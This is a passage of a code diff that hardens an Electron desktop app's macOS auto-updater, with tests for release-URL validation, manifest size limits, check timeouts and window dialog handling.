vi.advanceTimersByTimeAsync(0) + + expect(autoUpdaterMock.quitAndInstall).not.toHaveBeenCalled() + expect(autoUpdaterMock.autoInstallOnAppQuit).toBe(false) + expect(handle.getState()).toEqual({ status: 'error', version: '2.0.0' }) + }) + it('checks from idle and ignores re-entrant checks while busy', async () => { const { handle } = await createUpdater() handle.check() @@ -250,6 +330,7 @@ describe('initUpdater state machine', () => { autoUpdaterMock as unknown as typeof import('electron-updater')['autoUpdater'], probeOriginFeed: async () => true, canSelfUpdate: () => capability, + platform: 'darwin', }) handle.check() @@ -262,6 +343,9 @@ describe('initUpdater state machine', () => { it('resets to idle when a downloaded update is a blocked downgrade', async () => { const { handle } = await createUpdater() + handle.check() + await vi.advanceTimersByTimeAsync(0) + emit('update-available', { version: '2.0.0' }) emit('update-downloaded', { version: '0.0.1' }) expect(handle.getState()).toEqual({ status: 'idle' }) handle.install() @@ -272,6 +356,8 @@ describe('initUpdater state machine', () => { const { handle } = await createUpdater() for (const version of ['1.0.0', '0.9.9', 'nightly', '2.0.0-dev.1']) { + handle.check() + await vi.advanceTimersByTimeAsync(0) emit('update-available', { version }) expect(handle.getState()).toEqual({ status: 'idle' }) } @@ -281,8 +367,12 @@ describe('initUpdater state machine', () => { it('surfaces updater errors and recovers via update-not-available', async () => { const { handle } = await createUpdater() + handle.check() + await vi.advanceTimersByTimeAsync(0) emit('error', new Error('feed unreachable')) expect(handle.getState()).toEqual({ status: 'error' }) + handle.check() + await vi.advanceTimersByTimeAsync(0) emit('update-not-available') expect(handle.getState()).toEqual({ status: 'idle' }) }) @@ -297,6 +387,48 @@ describe('initUpdater state machine', () => { channel: 'latest', }) expect(autoUpdaterMock.channel).toBe('latest') + expect(autoUpdaterMock.allowDowngrade).toBe(false) + }) + + it('accepts only exact repository, tag, and artifact URLs from an origin feed', async () => { + const { handle } = await createUpdater({ feedAvailable: true }) + handle.check() + await vi.advanceTimersByTimeAsync(0) + + emit('update-available', { + version: '2.0.0', + files: [ + { + url: 'https://github.com/simstudioai/sim/releases/download/v2.0.0/Sim-2.0.0-universal.zip', + sha512: 'checksum', + }, + ], + }) + + expect(handle.getState()).toEqual({ status: 'downloading', version: '2.0.0' }) + }) + + it('blocks an origin manifest that points at an unexpected release artifact', async () => { + const { handle } = await createUpdater({ feedAvailable: true }) + handle.check() + await vi.advanceTimersByTimeAsync(0) + + emit('update-available', { + version: '2.0.0', + files: [ + { + url: 'https://github.com/simstudioai/sim/releases/download/v1.9.9/unreviewed.dmg', + sha512: 'checksum', + }, + ], + }) + + expect(handle.getState()).toEqual({ status: 'idle' }) + expect(autoUpdaterMock.autoInstallOnAppQuit).toBe(false) + expect(events.record).toHaveBeenCalledWith('update_blocked_version', { + version: '2.0.0', + reason: 'unusable-url', + }) }) it('keeps the packaged GitHub feed when the origin has no feed', async () => { @@ -347,6 +479,92 @@ describe('initUpdater state machine', () => { expect(autoUpdaterMock.checkForUpdates).not.toHaveBeenCalled() }) + it('ignores a feed probe that resolves after its timeout generation', async () => { + let resolveProbe: ((available: boolean) => void) | undefined + const probeOriginFeed = vi.fn( + () => + new Promise((resolve) => { + resolveProbe = resolve + }) + ) + const { handle } = await createUpdater({ probeOriginFeed }) + + handle.check() + await vi.advanceTimersByTimeAsync(10_000) + resolveProbe?.(true) + await vi.advanceTimersByTimeAsync(0) + + expect(handle.getState()).toEqual({ status: 'error' }) + expect(autoUpdaterMock.setFeedURL).not.toHaveBeenCalled() + expect(autoUpdaterMock.checkForUpdates).not.toHaveBeenCalled() + }) + + it('gives the updater request a fresh timeout after a slow feed probe', async () => { + let resolveProbe: ((available: boolean) => void) | undefined + const probeOriginFeed = vi.fn( + () => + new Promise((resolve) => { + resolveProbe = resolve + }) + ) + const { handle } = await createUpdater({ probeOriginFeed }) + + handle.check() + await vi.advanceTimersByTimeAsync(9_000) + resolveProbe?.(true) + await vi.advanceTimersByTimeAsync(0) + await vi.advanceTimersByTimeAsync(9_999) + expect(handle.getState()).toEqual({ status: 'checking' }) + + await vi.advanceTimersByTimeAsync(1) + expect(handle.getState()).toEqual({ status: 'error' }) + }) + + it('waits for a timed-out updater request to settle before retrying', async () => { + let resolveRequest: ((result: null) => void) | undefined + autoUpdaterMock.checkForUpdates.mockImplementationOnce( + () => + new Promise((resolve) => { + resolveRequest = resolve + }) + ) + const { handle } = await createUpdater({ feedAvailable: true }) + handle.check() + await vi.advanceTimersByTimeAsync(10_000) + expect(handle.getState()).toEqual({ status: 'error' }) + + emit('update-available', { version: '2.0.0' }) + emit('update-not-available') + expect(handle.getState()).toEqual({ status: 'error' }) + + handle.check() + await vi.advanceTimersByTimeAsync(0) + expect(autoUpdaterMock.checkForUpdates).toHaveBeenCalledTimes(1) + + resolveRequest?.(null) + await vi.advanceTimersByTimeAsync(0) + handle.check() + await vi.advanceTimersByTimeAsync(0) + expect(autoUpdaterMock.checkForUpdates).toHaveBeenCalledTimes(2) + }) + + it('does not initialize the updater outside macOS', () => { + const loadAutoUpdater = vi.fn( + () => autoUpdaterMock as unknown as typeof import('electron-updater')['autoUpdater'] + ) + const handle = initUpdater({ + getWindow: () => null, + events, + appOrigin: () => 'https://sim.ai', + loadAutoUpdater, + platform: 'win32', + }) + + handle.check() + expect(loadAutoUpdater).not.toHaveBeenCalled() + expect(handle.getState()).toEqual({ status: 'idle' }) + }) + it('fails interactive checks promptly on prerelease builds when the origin feed is down', async () => { // The GitHub fallback is stable-only: a Sim Dev shell can never apply a // prod-identity artifact, so it must not check against it. @@ -391,15 +609,53 @@ describe('initUpdater state machine', () => { }) }) +describe('readUpdateManifest', () => { + it('streams a manifest within the byte limit', async () => { + const response = new Response( + new ReadableStream({ + start(controller) { + controller.enqueue(new TextEncoder().encode('version: ')) + controller.enqueue(new TextEncoder().encode('1.2.3')) + controller.close() + }, + }), + { status: 200 } + ) + + await expect(readUpdateManifest(response)).resolves.toBe('version: 1.2.3') + }) + + it('rejects a manifest whose declared size exceeds the limit before reading', async () => { + const response = new Response('small body', { + status: 200, + headers: { 'content-length': String(256 * 1024 + 1) }, + }) + + await expect(readUpdateManifest(response)).rejects.toThrow('size limit') + }) + + it('stops a streamed manifest once its body exceeds the limit', async () => { + const response = new Response(new Uint8Array(256 * 1024 + 1), { status: 200 }) + + await expect(readUpdateManifest(response)).rejects.toThrow('size limit') + }) + + it('does not read an unsuccessful response body', async () => { + const response = new Response('not found', { status: 404 }) + + await expect(readUpdateManifest(response)).resolves.toBeNull() + }) +}) + function manifest(version: string, repository = 'simstudioai/sim'): string { return [ `version: ${version}`, 'files:', - ` - url: https://github.com/${repository}/releases/download/v${version}/Sim-${version}-universal-mac.zip`, + ` - url: https://github.com/${repository}/releases/download/v${version}/Sim-${version}-universal.zip`, ' sha512: abc', ` - url: https://github.com/${repository}/releases/download/v${version}/Sim-${version}-universal.dmg`, ' sha512: def', - `path: https://github.com/${repository}/releases/download/v${version}/Sim-${version}-universal-mac.zip`, + `path: https://github.com/${repository}/releases/download/v${version}/Sim-${version}-universal.zip`, "releaseDate: '2026-07-23T00:00:00.000Z'", ].join('\n') } @@ -416,6 +672,7 @@ describe('initUpdater manual mode (no Developer ID signature)', () => { onStateChange: (state) => states.push(state), canSelfUpdate: async () => false, fetchManifest, + platform: 'darwin', }) await vi.advanceTimersByTimeAsync(0) return { handle, states } @@ -454,23 +711,81 @@ describe('initUpdater manual mode (no Developer ID signature)', () => { }) it('offers prerelease-repository assets as manual downloads', async () => { + vi.mocked(app.getVersion).mockReturnValue('1.0.0-dev.1') const fetchManifest = vi.fn(async () => manifest('9.9.9-dev.1', 'simstudioai/sim-desktop-releases') ) - const { handle } = await createManualUpdater(fetchManifest) + try { + const { handle } = await createManualUpdater(fetchManifest) + + handle.check() + await vi.advanceTimersByTimeAsync(0) + expect(handle.getState()).toEqual({ + status: 'available', + version: '9.9.9-dev.1', + manual: true, + }) + + handle.check() + expect(shell.openExternal).toHaveBeenCalledWith( + 'https://github.com/simstudioai/sim-desktop-releases/releases/download/v9.9.9-dev.1/Sim-9.9.9-dev.1-universal.dmg' + ) + } finally { + vi.mocked(app.getVersion).mockReturnValue('1.0.0') + } + }) + + it('rejects a newer version from another update channel', async () => { + const { handle } = await createManualUpdater(async () => + manifest('9.9.9-dev.1', 'simstudioai/sim-desktop-releases') + ) handle.check() await vi.advanceTimersByTimeAsync(0) - expect(handle.getState()).toEqual({ - status: 'available', - version: '9.9.9-dev.1', - manual: true, - }) + + expect(handle.getState()).toEqual({ status: 'idle', manual: true }) + expect(shell.openExternal).not.toHaveBeenCalled() + }) + + it('rejects an allowed repository asset under a different release tag', async () => { + const mismatchedTag = manifest('9.9.9').replaceAll('/v9.9.9/', '/v9.9.8/') + const { handle } = await createManualUpdater(async () => mismatchedTag) handle.check() - expect(shell.openExternal).toHaveBeenCalledWith( - 'https://github.com/simstudioai/sim-desktop-releases/releases/download/v9.9.9-dev.1/Sim-9.9.9-dev.1-universal.dmg' + await vi.advanceTimersByTimeAsync(0) + + expect(handle.getState()).toMatchObject({ status: 'error', manual: true }) + expect(shell.openExternal).not.toHaveBeenCalled() + }) + + it('rejects unexpected asset names on the expected release', async () => { + const unexpectedName = manifest('9.9.9').replaceAll('Sim-9.9.9-universal', 'unreviewed-payload') + const { handle } = await createManualUpdater(async () => unexpectedName) + + handle.check() + await vi.advanceTimersByTimeAsync(0) + + expect(handle.getState()).toMatchObject({ status: 'error', manual: true }) + expect(shell.openExternal).not.toHaveBeenCalled() + }) + + it('ignores a manifest that arrives after the manual check timeout', async () => { + let resolveManifest: ((manifestBody: string) => void) | undefined + const { handle } = await createManualUpdater( + () => + new Promise((resolve) => { + resolveManifest = resolve + }) ) + + handle.check() + await vi.advanceTimersByTimeAsync(10_000) + expect(handle.getState()).toEqual({ status: 'error', manual: true }) + + resolveManifest?.(manifest('9.9.9')) + await vi.advanceTimersByTimeAsync(0) + expect(handle.getState()).toEqual({ status: 'error', manual: true }) + expect(shell.openExternal).not.toHaveBeenCalled() }) it('refuses a manifest whose download urls are not http(s)', async () => { @@ -596,6 +911,7 @@ describe('checkForUpdatesInteractive', () => { appOrigin: () => 'https://www.dev.sim.ai', canSelfUpdate: async () => false, fetchManifest: async () => manifest(version), + platform: 'darwin', }) await vi.advanceTimersByTimeAsync(0) return handle diff --git a/apps/desktop/src/main/updater.ts b/apps/desktop/src/main/updater.ts index a6702d0090b..aaa2f3a360e 100644 --- a/apps/desktop/src/main/updater.ts +++ b/apps/desktop/src/main/updater.ts @@ -15,9 +15,43 @@ const STABLE_CHECK_INTERVAL_MS = 30 * 60 * 1000 const UPDATE_CHECK_TIMEOUT_MS = 10_000 const INTERACTIVE_FEEDBACK_TIMEOUT_MS = 12_000 const FEED_STATUS_HEADER = 'x-sim-desktop-update-feed' +const MAX_UPDATE_MANIFEST_BYTES = 256 * 1024 export type UpdateChannel = 'latest' | 'staging' | 'dev' +/** Reads a small updater manifest without allowing an origin to fill main-process memory. */ +export async function readUpdateManifest(response: Response): Promise { + if (!response.ok) return null + const declaredLength = response.headers.get('content-length') + if (declaredLength !== null) { + const bytes = Number(declaredLength) + if (!Number.isSafeInteger(bytes) || bytes < 0 || bytes > MAX_UPDATE_MANIFEST_BYTES) { + throw new Error('Update manifest exceeded the size limit') + } + } + + if (!response.body) return '' + const reader = response.body.getReader() + const decoder = new TextDecoder() + let bytesRead = 0 + let manifest = '' + try { + while (true) { + const { done, value } = await reader.read() + if (done) break + bytesRead += value.byteLength + if (bytesRead > MAX_UPDATE_MANIFEST_BYTES) { + await reader.cancel() + throw new Error('Update manifest exceeded the size limit') + } + manifest += decoder.decode(value, { stream: true }) + } + return manifest + decoder.decode() + } finally { + reader.releaseLock() + } +} + /** * The per-environment update feed served by the Sim deployment this shell is * pointed at (`/api/desktop/update/latest-mac.yml`). Each environment pins @@ -39,26 +73,37 @@ export function feedUrlForOrigin(origin: string): string | null { /** * Where the feed rewrites every manifest entry to. Downloads are constrained to - * this prefix rather than to https alone, so a feed that serves an attacker's - * host cannot get a bundle in front of the user's Download button. + * the running channel's repository, the manifest version's tag, and the exact + * artifact names produced by the release workflow. */ const RELEASE_ASSET_ORIGIN = 'https://github.com' -const RELEASE_ASSET_PATHS = [ - '/simstudioai/sim/releases/download/', - '/simstudioai/sim-desktop-releases/releases/download/', -] as const +const RELEASE_REPOSITORIES: Record = { + latest: 'simstudioai/sim', + staging: 'simstudioai/sim-desktop-releases', + dev: 'simstudioai/sim-desktop-releases', +} -/** Whether a manifest url is one of our own release assets. */ -function isReleaseAssetUrl(rawUrl: string): boolean { +function isReleaseAssetUrl(rawUrl: string, version: string, channel: UpdateChannel): boolean { if (!isSafeExternalUrl(rawUrl)) return false try { const url = new URL(rawUrl) - // Compared on the parsed origin and the parsed pathname, never by prefix on - // the raw string: `https://github.com.evil.example/…` must not pass, and - // `URL` has already normalized away any `..` segments by this point. + const normalizedVersion = version.replace(/^v/, '') + const repository = RELEASE_REPOSITORIES[channel] + const releasePath = `/${repository}/releases/download/v${normalizedVersion}/` + const assetName = decodeURIComponent(url.pathname.slice(releasePath.length)) + const expectedAssetNames = new Set([ + `Sim-${normalizedVersion}-universal.dmg`, + `Sim-${normalizedVersion}-universal.zip`, + ]) return ( url.origin === RELEASE_ASSET_ORIGIN && - RELEASE_ASSET_PATHS.some((path) => url.pathname.startsWith(path)) + url.username === '' && + url.password === '' && + url.search === '' && + url.hash === '' && + url.pathname.startsWith(releasePath) && + !assetName.includes('/') && + expectedAssetNames.has(assetName) ) } catch { return false @@ -200,6 +245,10 @@ export interface UpdaterDeps { canSelfUpdate?: () => Promise /** Test seam: overrides the manual-mode manifest fetch (body or null). */ fetchManifest?: (url: string) => Promise + /** Test seam for the macOS-only updater gate. */ + platform?: NodeJS.Platform + /** Flushes desktop-owned state before Squirrel terminates the process. */ + beforeInstall?: () => Promise } export interface UpdaterHandle { @@ -237,7 +286,7 @@ export function isNewerVersion(candidateVersion: string, currentVersion: string) } /** A signed shell may only install a strictly newer build from its own environment stream. */ -function isValidAutomaticUpdate(candidateVersion: string, currentVersion: string): boolean { +function isValidUpdateCandidate(candidateVersion: string, currentVersion: string): boolean { return ( resolveUpdateChannel(candidateVersion) === resolveUpdateChannel(currentVersion) && isNewerVersion(candidateVersion, currentVersion) @@ -300,6 +349,9 @@ interface UpdateEngine { * download link, so the whole pipeline is testable before signing exists. */ export function initUpdater(deps: UpdaterDeps): UpdaterHandle { + if ((deps.platform ?? process.platform) !== 'darwin') { + return NOOP_UPDATER_HANDLE + } if (!app.isPackaged && !deps.loadAutoUpdater && !deps.canSelfUpdate) { return NOOP_UPDATER_HANDLE } @@ -327,8 +379,11 @@ export function initUpdater(deps: UpdaterDeps): UpdaterHandle { return null } - autoUpdater.channel = resolveUpdateChannel(currentVersion) - autoUpdater.allowDowngrade = false + const setChannelWithoutDowngrades = (channel: UpdateChannel) => { + autoUpdater.channel = channel + autoUpdater.allowDowngrade = false + } + setChannelWithoutDowngrades(resolveUpdateChannel(currentVersion)) autoUpdater.autoDownload = deps.autoDownload?.() ?? true // Explicit Update actions must reopen Sim after Squirrel swaps the bundle. autoUpdater.autoRunAppAfterInstall = true @@ -338,40 +393,91 @@ export function initUpdater(deps: UpdaterDeps): UpdaterHandle { // silently installed on quit. autoUpdater.autoInstallOnAppQuit = false autoUpdater.logger = null + let installInFlight = false - let activeCheckId: number | null = null - let nextCheckId = 0 - let checkTimeout: ReturnType | null = null - const finishCheck = () => { - activeCheckId = null - if (checkTimeout !== null) { - clearTimeout(checkTimeout) - checkTimeout = null + const quitAndInstall = () => { + if (installInFlight) return + if (!deps.beforeInstall) { + autoUpdater.quitAndInstall() + return + } + installInFlight = true + void Promise.resolve() + .then(() => deps.beforeInstall?.()) + .then(() => autoUpdater.quitAndInstall()) + .catch((error) => { + autoUpdater.autoInstallOnAppQuit = false + installInFlight = false + logger.error('Pre-install teardown failed', { + message: getErrorMessage(error, 'unknown'), + }) + deps.events.record('update_error', { message: 'Pre-install teardown failed' }) + setState({ status: 'error', version: state.version }) + }) + } + + let activeProbeId: number | null = null + let nextProbeId = 0 + let probeTimeout: ReturnType | null = null + let activeUpdaterCheckId: number | null = null + let nextUpdaterCheckId = 0 + let updaterCheckTimeout: ReturnType | null = null + let updaterRequestId: number | null = null + let acceptedUpdateVersion: string | null = null + + const finishProbe = (probeId: number) => { + if (activeProbeId !== probeId) return + activeProbeId = null + if (probeTimeout !== null) { + clearTimeout(probeTimeout) + probeTimeout = null + } + } + const finishUpdaterCheck = (checkId: number) => { + if (activeUpdaterCheckId !== checkId) return + activeUpdaterCheckId = null + if (updaterCheckTimeout !== null) { + clearTimeout(updaterCheckTimeout) + updaterCheckTimeout = null } } autoUpdater.on('checking-for-update', () => { + if (activeUpdaterCheckId === null) return setState({ status: 'checking' }) }) autoUpdater.on('update-not-available', () => { - finishCheck() + const checkId = activeUpdaterCheckId + if (checkId === null) return + finishUpdaterCheck(checkId) + if (updaterRequestId === checkId) updaterRequestId = null installAfterDownload = false setState({ status: 'idle' }) }) autoUpdater.on('update-available', (info) => { - finishCheck() - if (!isValidAutomaticUpdate(info.version, currentVersion)) { + const checkId = activeUpdaterCheckId + if (checkId === null) return + finishUpdaterCheck(checkId) + if (updaterRequestId === checkId) updaterRequestId = null + const channel = resolveUpdateChannel(currentVersion) + const validOriginAssets = + !originFeedConfigured || + (info.files.length > 0 && + info.files.every((file) => isReleaseAssetUrl(file.url, info.version, channel))) + if (!isValidUpdateCandidate(info.version, currentVersion) || !validOriginAssets) { + acceptedUpdateVersion = null installAfterDownload = false autoUpdater.autoInstallOnAppQuit = false deps.events.record('update_blocked_version', { version: info.version, - reason: 'not-newer', + reason: validOriginAssets ? 'not-newer' : 'unusable-url', }) setState({ status: 'idle' }) return } + acceptedUpdateVersion = info.version deps.events.record('update_check', { available: info.version }) // With auto-download on, download-progress events follow immediately; // `available` is the terminal state only when downloads are manual. @@ -382,6 +488,7 @@ export function initUpdater(deps: UpdaterDeps): UpdaterHandle { }) autoUpdater.on('download-progress', (progress) => { + if (state.status !== 'downloading') return setState({ status: 'downloading', version: state.version, @@ -390,24 +497,36 @@ export function initUpdater(deps: UpdaterDeps): UpdaterHandle { }) autoUpdater.on('update-downloaded', (info) => { - if (!isValidAutomaticUpdate(info.version, currentVersion)) { + if (state.status !== 'downloading' && !installAfterDownload) return + if ( + acceptedUpdateVersion !== info.version || + !isValidUpdateCandidate(info.version, currentVersion) + ) { + acceptedUpdateVersion = null installAfterDownload = false autoUpdater.autoInstallOnAppQuit = false deps.events.record('update_blocked_version', { version: info.version }) setState({ status: 'idle' }) return } + acceptedUpdateVersion = null autoUpdater.autoInstallOnAppQuit = true deps.events.record('update_downloaded', { version: info.version }) setState({ status: 'ready', version: info.version }) if (installAfterDownload) { installAfterDownload = false - autoUpdater.quitAndInstall() + quitAndInstall() } }) autoUpdater.on('error', (error) => { - finishCheck() + const checkId = activeUpdaterCheckId + if (checkId !== null) { + finishUpdaterCheck(checkId) + if (updaterRequestId === checkId) updaterRequestId = null + } else if (state.status !== 'downloading') { + return + } installAfterDownload = false deps.events.record('update_error', { message: getErrorMessage(error, 'unknown') }) setState({ status: 'error', version: state.version }) @@ -438,8 +557,7 @@ export function initUpdater(deps: UpdaterDeps): UpdaterHandle { }) type FeedResolution = 'origin' | 'fallback' | 'no-release' | 'skip' let originFeedConfigured = false - let feedProbeInFlight: Promise | null = null - const resolveFeedForCheck = async (): Promise => { + const resolveFeedForCheck = async (probeId: number): Promise => { if (originFeedConfigured) return 'origin' const feedUrl = feedUrlForOrigin(deps.appOrigin()) const stableBuild = resolveUpdateChannel(currentVersion) === 'latest' @@ -454,8 +572,9 @@ export function initUpdater(deps: UpdaterDeps): UpdaterHandle { if (!availability) { throw new Error('feed responded non-OK') } + if (activeProbeId !== probeId) return 'skip' autoUpdater.setFeedURL({ provider: 'generic', url: feedUrl, channel: 'latest' }) - autoUpdater.channel = 'latest' + setChannelWithoutDowngrades('latest') originFeedConfigured = true deps.events.record('update_feed', { url: feedUrl }) return 'origin' @@ -469,64 +588,79 @@ export function initUpdater(deps: UpdaterDeps): UpdaterHandle { return stableBuild ? 'fallback' : 'skip' } } - const feedForCheck = (): Promise => { - if (originFeedConfigured) return Promise.resolve('origin') - if (feedProbeInFlight) return feedProbeInFlight - feedProbeInFlight = resolveFeedForCheck().finally(() => { - feedProbeInFlight = null - }) - return feedProbeInFlight + const startUpdaterCheck = (interactive: boolean) => { + if (updaterRequestId !== null) { + if (interactive) setState({ status: 'error' }) + return + } + const checkId = ++nextUpdaterCheckId + activeUpdaterCheckId = checkId + updaterRequestId = checkId + updaterCheckTimeout = setTimeout(() => { + if (activeUpdaterCheckId !== checkId) return + finishUpdaterCheck(checkId) + deps.events.record('update_error', { message: 'Update check timed out' }) + if (state.status === 'checking') setState({ status: 'error' }) + }, UPDATE_CHECK_TIMEOUT_MS) + autoUpdater + .checkForUpdates() + .then(() => { + if (updaterRequestId === checkId) updaterRequestId = null + if (activeUpdaterCheckId !== checkId) return + finishUpdaterCheck(checkId) + if (interactive && state.status === 'checking') setState({ status: 'error' }) + }) + .catch((error) => { + if (updaterRequestId === checkId) updaterRequestId = null + if (activeUpdaterCheckId !== checkId) return + finishUpdaterCheck(checkId) + logger.warn('Update check failed', { message: getErrorMessage(error, 'unknown') }) + if (state.status === 'checking') setState({ status: 'error' }) + }) } return { check(interactive = false) { if ( - activeCheckId !== null || + activeProbeId !== null || + activeUpdaterCheckId !== null || state.status === 'available' || state.status === 'downloading' || state.status === 'ready' ) { return } - const checkId = ++nextCheckId - activeCheckId = checkId if (interactive) { setState({ status: 'checking' }) } - checkTimeout = setTimeout(() => { - if (activeCheckId !== checkId) return - finishCheck() - deps.events.record('update_error', { message: 'Update check timed out' }) + if (originFeedConfigured) { + startUpdaterCheck(interactive) + return + } + const probeId = ++nextProbeId + activeProbeId = probeId + probeTimeout = setTimeout(() => { + if (activeProbeId !== probeId) return + finishProbe(probeId) + deps.events.record('update_error', { message: 'Update feed probe timed out' }) if (state.status === 'checking') setState({ status: 'error' }) }, UPDATE_CHECK_TIMEOUT_MS) - void feedForCheck().then((feed) => { - if (activeCheckId !== checkId) return + void resolveFeedForCheck(probeId).then((feed) => { + if (activeProbeId !== probeId) return + finishProbe(probeId) if (feed === 'no-release') { - finishCheck() if (interactive && state.status === 'checking') setState({ status: 'idle' }) return } if (feed === 'skip') { - finishCheck() if (interactive && state.status === 'checking') setState({ status: 'error' }) return } - autoUpdater - .checkForUpdates() - .then(() => { - if (activeCheckId !== checkId) return - finishCheck() - if (interactive && state.status === 'checking') setState({ status: 'error' }) - }) - .catch((error) => { - if (activeCheckId !== checkId) return - finishCheck() - logger.warn('Update check failed', { message: getErrorMessage(error, 'unknown') }) - if (state.status === 'checking') setState({ status: 'error' }) - }) + startUpdaterCheck(interactive) }) }, advance() { + setState({ status: 'downloading', version: state.version }) autoUpdater.downloadUpdate().catch((error) => { installAfterDownload = false logger.warn('Update download failed', { message: getErrorMessage(error, 'unknown') }) @@ -534,7 +668,7 @@ export function initUpdater(deps: UpdaterDeps): UpdaterHandle { }) }, install() { - autoUpdater.quitAndInstall() + quitAndInstall() }, setAutoDownload(enabled) { autoUpdater.autoDownload = enabled @@ -549,20 +683,32 @@ export function initUpdater(deps: UpdaterDeps): UpdaterHandle { const response = await net.fetch(url, { signal: AbortSignal.timeout(UPDATE_CHECK_TIMEOUT_MS), }) - return response.ok ? await response.text() : null + return readUpdateManifest(response) }) let downloadUrl: string | null = null - let checkInFlight = false + let activeCheckId: number | null = null + let nextCheckId = 0 + let checkTimeout: ReturnType | null = null const doCheck = async () => { - if (checkInFlight || state.status === 'available') return - checkInFlight = true + if (activeCheckId !== null || state.status === 'available') return + const checkId = ++nextCheckId + activeCheckId = checkId + downloadUrl = null setState({ status: 'checking', manual: true }) + checkTimeout = setTimeout(() => { + if (activeCheckId !== checkId) return + activeCheckId = null + checkTimeout = null + deps.events.record('update_error', { message: 'Manual update check timed out' }) + setState({ status: 'error', manual: true }) + }, UPDATE_CHECK_TIMEOUT_MS) try { const feedUrl = feedUrlForOrigin(deps.appOrigin()) const manifest = feedUrl ? await fetchManifest(`${feedUrl}/latest-mac.yml`) : null + if (activeCheckId !== checkId) return const version = manifest ? (/^version:\s*(\S+)\s*$/m.exec(manifest)?.[1] ?? null) : null - if (!manifest || !version || !isNewerVersion(version, currentVersion)) { + if (!manifest || !version || !isValidUpdateCandidate(version, currentVersion)) { setState({ status: 'idle', manual: true }) return } @@ -576,7 +722,7 @@ export function initUpdater(deps: UpdaterDeps): UpdaterHandle { const urls = Array.from( manifest.matchAll(/^\s*(?:-\s*)?url:\s*(\S+)\s*$/gm), (m) => m[1] - ).filter(isReleaseAssetUrl) + ).filter((url) => isReleaseAssetUrl(url, version, resolveUpdateChannel(currentVersion))) downloadUrl = urls.find((url) => url.endsWith('.dmg')) ?? urls.find((url) => url.endsWith('.zip')) ?? @@ -597,10 +743,17 @@ export function initUpdater(deps: UpdaterDeps): UpdaterHandle { deps.events.record('update_check', { available: version, manual: true }) setState({ status: 'available', version, manual: true }) } catch (error) { + if (activeCheckId !== checkId) return logger.warn('Manual update check failed', { message: getErrorMessage(error, 'unknown') }) setState({ status: 'error', version: state.version, manual: true }) } finally { - checkInFlight = false + if (activeCheckId === checkId) { + activeCheckId = null + if (checkTimeout !== null) { + clearTimeout(checkTimeout) + checkTimeout = null + } + } } } @@ -628,7 +781,12 @@ export function initUpdater(deps: UpdaterDeps): UpdaterHandle { const canSelfUpdate = deps.canSelfUpdate ?? detectSelfUpdateCapability void canSelfUpdate() - .catch(() => true) + .catch((error) => { + logger.warn('Could not detect self-update capability; using manual updates', { + message: getErrorMessage(error, 'unknown'), + }) + return false + }) .then((capable) => { engine = capable ? buildAutoEngine() : buildManualEngine() if (!engine) { diff --git a/apps/desktop/src/main/window.test.ts b/apps/desktop/src/main/window.test.ts index 85644923119..b529d9a37c4 100644 --- a/apps/desktop/src/main/window.test.ts +++ b/apps/desktop/src/main/window.test.ts @@ -2,7 +2,7 @@ import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' vi.mock('electron', () => import('@/test/electron-mock')) -import { BrowserWindow, systemPreferences } from 'electron' +import { BrowserWindow, dialog, systemPreferences } from 'electron' import type { ConfigStore } from '@/main/config' import type { EventRecorder } from '@/main/observability' import { @@ -244,6 +244,105 @@ describe('createSecureWebPreferences', () => { }) describe('createMainWindow', () => { + beforeEach(() => { + vi.clearAllMocks() + }) + + function createTestWindow(isMandatoryRelaunchPending: () => boolean = () => false) { + const config = { + filePath: '/tmp/settings.json', + getOrigin: vi.fn(() => APP), + setOrigin: vi.fn(), + get: vi.fn(() => undefined), + set: vi.fn(), + } as unknown as ConfigStore + const events = { + filePath: '/tmp/events.jsonl', + record: vi.fn(), + } satisfies EventRecorder + const win = createMainWindow({ + config, + events, + appOrigin: () => APP, + partition: 'persist:sim', + preloadPath: '/tmp/preload.cjs', + isPackaged: false, + onClosed: vi.fn(), + isMandatoryRelaunchPending, + }) + const contentHandlers = new Map( + vi.mocked(win.webContents.on).mock.calls as unknown as Array< + [string, (...args: never[]) => unknown] + > + ) + return { events, win, contentHandlers } + } + + it('makes Stay the safe keyboard default for beforeunload', () => { + const { contentHandlers } = createTestWindow() + const handler = contentHandlers.get('will-prevent-unload') + const event = { preventDefault: vi.fn() } + + vi.mocked(dialog.showMessageBoxSync).mockReturnValueOnce(0) + handler?.(event as never) + + expect(dialog.showMessageBoxSync).toHaveBeenCalledWith( + expect.any(BrowserWindow), + expect.objectContaining({ + buttons: ['Stay', 'Leave'], + defaultId: 0, + cancelId: 0, + }) + ) + expect(event.preventDefault).not.toHaveBeenCalled() + + vi.mocked(dialog.showMessageBoxSync).mockReturnValueOnce(1) + handler?.(event as never) + expect(event.preventDefault).toHaveBeenCalledOnce() + }) + + it('allows a committed mandatory relaunch through beforeunload', () => { + const { contentHandlers } = createTestWindow(() => true) + const handler = contentHandlers.get('will-prevent-unload') + const event = { preventDefault: vi.fn() } + + handler?.(event as never) + + expect(event.preventDefault).toHaveBeenCalledOnce() + expect(dialog.showMessageBoxSync).not.toHaveBeenCalled() + }) + + it('queues crash recovery behind an open hang dialog without stacking dialogs', async () => { + let resolveHang: ((value: { response: number; checkboxChecked: boolean }) => void) | undefined + vi.mocked(dialog.showMessageBox) + .mockImplementationOnce( + () => + new Promise((resolve) => { + resolveHang = resolve + }) + ) + .mockResolvedValue({ response: 0, checkboxChecked: false }) + const { contentHandlers, events } = createTestWindow() + + contentHandlers.get('unresponsive')?.() + contentHandlers.get('render-process-gone')?.( + undefined as never, + { reason: 'crashed', exitCode: 9 } as never + ) + contentHandlers.get('render-process-gone')?.( + undefined as never, + { reason: 'crashed', exitCode: 9 } as never + ) + + expect(dialog.showMessageBox).toHaveBeenCalledTimes(1) + expect(events.record).toHaveBeenCalledWith('renderer_unresponsive') + expect(events.record).toHaveBeenCalledWith('renderer_gone', expect.any(Object)) + expect(events.record).toHaveBeenCalledTimes(2) + + resolveHang?.({ response: 0, checkboxChecked: false }) + await vi.waitFor(() => expect(dialog.showMessageBox).toHaveBeenCalledTimes(2)) + }) + it('keeps the native macOS fullscreen titlebar blank', () => { const config = { filePath: '/tmp/settings.json', @@ -265,6 +364,7 @@ describe('createMainWindow', () => { preloadPath: '/tmp/preload.cjs', isPackaged: false, onClosed: vi.fn(), + isMandatoryRelaunchPending: () => false, platform: 'darwin', }) @@ -331,6 +431,7 @@ describe('createMainWindow', () => { preloadPath: '/tmp/preload.cjs', isPackaged: false, onClosed: vi.fn(), + isMandatoryRelaunchPending: () => false, restorePosition: false, }) diff --git a/apps/desktop/src/main/window.ts 